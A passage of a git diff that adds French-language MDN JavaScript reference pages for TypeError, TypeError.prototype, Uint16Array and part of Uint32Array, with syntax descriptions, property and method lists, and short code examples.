diff --git a/files/fr/web/javascript/reference/objets_globaux/typeerror/index.html b/files/fr/web/javascript/reference/objets_globaux/typeerror/index.html
new file mode 100644
index 0000000000..ffaab9a317
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typeerror/index.html
@@ -0,0 +1,139 @@
+---
+title: TypeError
+slug: Web/JavaScript/Reference/Objets_globaux/TypeError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Global_Objects/TypeError
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <code><strong>TypeError</strong></code> représente une erreur qui intervient lorsque la valeur n'est pas du type attendu.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>new TypeError([<var>message</var>[, <var>nomFichier</var>[, <var>numLigne</var>]]])</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Paramètre optionnel. Une description de l'erreur dans un format compréhensible par un humain.</dd>
+</dl>
+
+<dl>
+ <dt><code>nomFichier</code> {{Non-standard_inline}}</dt>
+ <dd>Paramètre optionnel. Le nom du fichier contenant le code qui a causé l'erreur.</dd>
+</dl>
+
+<dl>
+ <dt><code>numLigne</code> {{Non-standard_inline}}</dt>
+ <dd>Paramètre optionnel. Le numéro de ligne du code qui a causé l'erreur</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une exception <code>TypeError</code> est levée lorsque qu'un argument ou un opérande est utilisé avec une fonction ou un opérateur incompatible avec le type attendu.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypeError.prototype")}}</dt>
+ <dd>Permet d'ajouter des propriétés aux instances de <code>TypeError</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>TypeError</code> ne contient pas de méthodes qui lui sont propres. Il possède malgré tout des méthodes héritées via sa chaîne de prototypes.</p>
+
+<h2 id="Instances_de_TypeError">Instances de TypeError</h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{ page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypeError/prototype', 'Propri.C3.A9t.C3.A9s') }}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>{{ page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypeError/prototype', 'M.C3.A9thodes') }}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Intercepter_une_exception_TypeError">Intercepter une exception <code>TypeError</code></h3>
+
+<pre class="brush: js">try {
+  null.f();
+} catch (e) {
+  console.log(e instanceof TypeError); // true
+  console.log(e.message);              // "null has no properties"
+  console.log(e.name);                 // "TypeError"
+  console.log(e.fileName);             // "Scratchpad/1"
+  console.log(e.lineNumber);           // 2
+  console.log(e.columnNumber);         // 2
+  console.log(e.stack);                // "@Scratchpad/2:2:3\n"
+}
+</pre>
+
+<h3 id="Créer_une_exception_TypeError">Créer une exception <code>TypeError</code></h3>
+
+<pre class="brush: js">try {
+  throw new TypeError('Coucou', "unFichier.js", 10);
+} catch (e) {
+  console.log(e instanceof TypeError); // true
+  console.log(e.message);              // "Coucou"
+  console.log(e.name);                 // "TypeError"
+  console.log(e.fileName);             // "unFichier.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-15.11.6.5', 'TypeError')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.5', 'TypeError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.TypeError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("TypeError.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typeerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/typeerror/prototype/index.html
new file mode 100644
index 0000000000..2261245a9c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typeerror/prototype/index.html
@@ -0,0 +1,89 @@
+---
+title: TypeError.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/TypeError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Global_Objects/TypeError
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>TypeError.prototype</strong></code> représente le prototype du constructeur {{jsxref("TypeError")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("TypeError")}} héritent de <code>TypeError.prototype</code>. Le prototype peut être utilisé afin d'ajouter des propriétés ou des méthodes à l'ensemble des instances.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>TypeError.prototype.constructor</code></dt>
+ <dd>Définit la fonction qui crée le prototype d'une instance.</dd>
+ <dt>{{jsxref("Error.prototype.message", "TypeError.prototype.message")}}</dt>
+ <dd>Un message d'erreur. Bien que la spécification ECMA-262 définisse que {{jsxref("TypeError")}} doive fournir une propriété directe pour <code>message</code>, <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a> la fait hériter de {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "TypeError.prototype.name")}}</dt>
+ <dd>Nom pour l'erreur, hérité depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "TypeError.prototype.fileName")}}</dt>
+ <dd>Le chemin vers le fichier qui a causé l'erreur. Hérité depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "TypeError.prototype.lineNumber")}}</dt>
+ <dd>La ligne du fichier qui a causé l'erreur. Hérité depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "TypeError.prototype.columnNumber")}}</dt>
+ <dd>La colonne (la position dans la ligne) du fichier qui a causé l'erreur. Hérité depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "TypeError.prototype.stack")}}</dt>
+ <dd>La pile d'appels (<em>stack trace</em>). Héritée depuis {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Bien que l'objet prototype pour {{jsxref("TypeError")}} ne contienne aucune méthode propre (qui lui soit directement rattachée), {{jsxref("TypeError")}} hérite de certaines méthodes grâce à la chaîne de prototypes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définie comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définie comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.TypeError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/uint16array/index.html b/files/fr/web/javascript/reference/objets_globaux/uint16array/index.html
new file mode 100644
index 0000000000..bdac3e0e10
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/uint16array/index.html
@@ -0,0 +1,206 @@
+---
+title: Uint16Array
+slug: Web/JavaScript/Reference/Objets_globaux/Uint16Array
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+  - Uint16Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint16Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>Uint16Array</code></strong> permet de représenter un tableau d'entiers non signés représentés sur 16 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à <code>0</code>. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Uint16Array(); // apparu avec ES2017
+new Uint16Array(<var>longueur</var>);
+new Uint16Array(<var>tableauTypé</var>);
+new Uint16Array(<var>objet</var>);
+new Uint16Array(<var>tampon</var> [, <var>décalage</var> [, <var>longueur</var>]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page <em><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Syntaxe">TypedArray</a></em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint16Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'<code>Uint16Array</code>, ce sera <code>2</code>.</dd>
+ <dt><code>Uint16Array.length</code></dt>
+ <dd>La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint16Array.name")}}</dt>
+ <dd>Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour <code>Uint16Array</code> ce sera : "Uint16Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint16Array.prototype")}}</dt>
+ <dd>Le prototype des objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from","Uint16Array.from()")}}</dt>
+ <dd>Cette méthode permet de créer un <code>Uint16Array</code> à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of","Uint16Array.of()")}}</dt>
+ <dd>Cette méthode permet de créer un Uint16Array à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_Uint16Array">Prototype <code>Uint16Array</code></h2>
+
+<p>Tous les objets <code>Uint16Array</code> héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Uint16Array.prototype.constructor</code></dt>
+ <dd>Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur <code>Uint16Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint16Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet <code>Uint16Array</code> Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint16Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie la longueur, exprimée en octets, de l'objet <code>Uint16Array</code> à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint16Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le nombre d'éléments contenus dans le tableau <code>Uint16Array</code>. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint16Array.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Uint16Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint16Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Uint16Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint16Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint16Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint16Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint16Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint16Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint16Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint16Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint16Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint16Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint16Array.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint16Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint16Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint16Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint16Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint16Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint16Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint16Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Uint16Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint16Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint16Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint16Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint16Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de créer un objet <code>Uint16Array</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var uint16 = new Uint16Array(2);
+uint16[0] = 42;
+console.log(uint16[0]); // 42
+console.log(uint16.length); // 2
+console.log(uint16.BYTES_PER_ELEMENT); // 2
+
+// Construction à partir d'un tableau
+var arr = new Uint16Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un tableau typé
+var x = new Uint16Array([21, 31]);
+var y = new Uint16Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint16Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint16 = new Uint16Array(iterable);
+// Uint16Array[1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Englobée par ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA. <code>new</code> est obligatoire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié le constructeur <code>Uint16Array</code> afin qu'il utilise l'opération <code>ToIndex</code> et qu'il puisse être utilisé sans argument.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Uint16Array")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), <code>Uint16Array</code> doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>Uint16Array</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Uint16Array([1, 2, 3]);
+// TypeError: calling a builtin Uint16Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Uint16Array([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/uint32array/index.html b/files/fr/web/javascript/reference/objets_globaux/uint32array/index.html
new file mode 100644
index 0000000000..a678150934
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/uint32array/index.html
@@ -0,0 +1,206 @@
+---
+title: Uint32Array
+slug: Web/JavaScript/Reference/Objets_globaux/Uint32Array
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+  - Uint32Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint32Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>Uint32Array</code></strong> permet de représenter un tableau d'entiers non signés représentés sur 32 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à <code>0</code>. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Uint32Array(); // apparu avec ES2017
+new Uint32Array(longueur);
+new Uint32Array(tableauTypé);
+new Uint32Array(objet);
+new Uint32Array(tampon [, décalage [, longueur]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page <em><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Syntaxe">TypedArray</a></em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint32Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'<code>Uint32Array</code>, ce sera <code>4</code>.</dd>
+ <dt><code>Uint32Array.length</code></dt>
+ <dd>La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Uint32Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint32Array.name")}}</dt>
+ <dd>Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour <code>Uint32Array</code> ce sera : "Uint32Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint32Array.prototype")}}</dt>
+ <dd>Le prototype des objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Uint32Array.from()")}}</dt>
+ <dd>Cette méthode permet de créer un nouveau tableau typé <code>Uint32Array</code> à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Uint32Array.of()")}}</dt>
+ <dd>Cette méthode permet de créer un nouvel objet <code>Uint32Array</code> à partir d'un nombre d'arguments variables. Voir aussi {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_Uint32Array">Prototype <code>Uint32Array</code></h2>
+
+<p>Tous les objets <code>Uint32Array</code> héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Uint32Array.prototype.constructor</code></dt>
+ <dd>Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur <code>Uint32Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint32Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet <code>Uint32Array</code> Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint32Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie la longueur, exprimée en octets, de l'objet <code>Uint32Array</code> à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint32Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint32Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le nombre d'éléments contenus dans le tableau <code>Uint32Array</code>. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint32Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint32Array.prototype.entries()")}}</dt>
